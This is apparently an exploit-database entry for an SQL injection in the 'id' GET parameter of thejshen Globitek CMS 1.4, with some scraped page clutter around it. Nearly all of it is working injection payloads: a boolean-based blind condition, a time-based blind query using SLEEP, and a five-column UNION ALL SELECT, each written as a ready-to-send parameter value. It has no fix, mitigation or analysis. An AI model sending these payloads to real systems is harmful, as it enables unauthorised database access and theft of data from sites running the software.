29 lines
No EOL
1.1 KiB
Text
29 lines
No EOL
1.1 KiB
Text
# Exploit Title: thejshen Globitek CMS 1.4 - 'id' SQL Injection
|
|
# Date: 2019-11-01
|
|
# Exploit Author: Cakes
|
|
# Vendor Homepage: https://github.com/thejshen/contentManagementSystem
|
|
# Software Link: https://github.com/thejshen/contentManagementSystem.git
|
|
# Version: 1.4
|
|
# Tested on: CentOS 7
|
|
# CVE: N/A
|
|
|
|
# The GET request for content ID is vulnerable to Union, Bolean and Time-Based Blind SQL injection
|
|
|
|
# Parameter: id (GET)
|
|
# Type: boolean-based blind
|
|
# Title: AND boolean-based blind - WHERE or HAVING clause
|
|
# Vector: AND [INFERENCE]
|
|
|
|
Payload: id=4' AND 5143=5143-- OWXt
|
|
|
|
# Type: time-based blind
|
|
# Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
|
|
# Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
|
|
|
|
Payload: id=4' AND (SELECT 4841 FROM (SELECT(SLEEP(5)))eqmp)-- ZwTG
|
|
|
|
# Type: UNION query
|
|
# Title: Generic UNION query (NULL) - 5 columns
|
|
# Vector: UNION ALL SELECT NULL,NULL,[QUERY],NULL,NULL[GENERIC_SQL_COMMENT]
|
|
|
|
Payload: id=-4903' UNION ALL SELECT NULL,NULL,CONCAT(0x716a706b71,0x66766f636c546750775053685352676c4f70724d714c4b64494e755252765a626370615a565a4b49,0x717a6a7671),NULL,NULL-- hkoh |